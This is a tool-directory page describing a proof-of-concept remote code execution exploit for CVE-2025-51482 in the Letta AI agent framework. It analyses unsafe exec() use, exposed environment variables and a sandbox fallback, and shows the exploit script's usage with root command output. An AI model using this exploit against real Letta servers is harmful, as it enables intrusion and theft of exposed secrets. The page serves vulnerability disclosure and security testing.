Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Letta-CVE-2025-51482-RCE — Proof-of-concept exploit for CVE-2025-51482, demonstrating remote code execution via unsafe exec() usage and sandbox bypass in the Letta AI agent framework. Includes vulnerability analysis and exploitation script. | Kitploit
Tools/GitHubGitHub/kai-one001/letta-cve-2025-51482-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubkai-one001/letta-cve-2025-51482-rce

Letta-CVE-2025-51482-RCE

Proof-of-concept exploit for CVE-2025-51482, demonstrating remote code execution via unsafe exec() usage and sandbox bypass in the Letta AI agent framework. Includes vulnerability analysis and exploitation script.

View Repository
131 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Letta-CVE-2025-51482-RCE

Vulnerability Cause Analysis

1. Lack of Code Security Inspection

Problem: The system does not perform any security inspection on user-provided source code.

Evidence:

  • generate_execution_script method directly inserts user code into the execution script:

    root@kitploit:~
    code += "\n" + self.tool.source_code + "\n"
    
  • No AST analysis to detect dangerous operations (e.g., os.system, subprocess.call, eval, etc.)

  • No import restrictions or module whitelist

2. Unsafe Use of

exec()

Problem: Direct use of exec() to execute user code, with the global dictionary containing environment variables.

Evidence:

root@kitploit:~
globals_dict = *dict*(env) # Environment variables directly exposed to user code
exec(code_obj, globals_dict)

3. Exposure of Environment Variables

Problem: All environment variables are exposed to user code, including sensitive information.

Evidence:

root@kitploit:~
env = os.environ.copy() # Copy all system environment variables
env_vars = self.sandbox_config_manager.get_sandbox_env_vars_as_dict(...)
env.update(env_vars) # Add sandbox environment variables

4. Sandbox Bypass Mechanism

Problem: The privileged_tools mechanism can be bypassed.

Evidence:

root@kitploit:~
if tool_settings.e2b_api_key and not self.privileged_tools:
  # Use e2b sandbox (relatively safe)
else:
  # Use local sandbox (unsafe)

If the organization sets privileged_tools=True or does not configure an e2b API key, the system falls back to unsafe local execution.

5. Lack of Input Validation

Problem: No validation or sanitization is performed on user-supplied source code.

Evidence: The ToolRunFromSource mode accepts arbitrary strings as source code:

root@kitploit:~
source_code: *str* = Field(..., *description*="The source code of the function.")

Exploitation (Python Script)

root@kitploit:~
Example:
python RCE.py -u http://192.168.63.131:8283/
[+] Command executed successfully:
uid=0(root) gid=0(root) groups=0(root)
python RCE.py -u http://192.168.63.131:8283/ -c whoami
[+] Command executed successfully:
root
Download Tool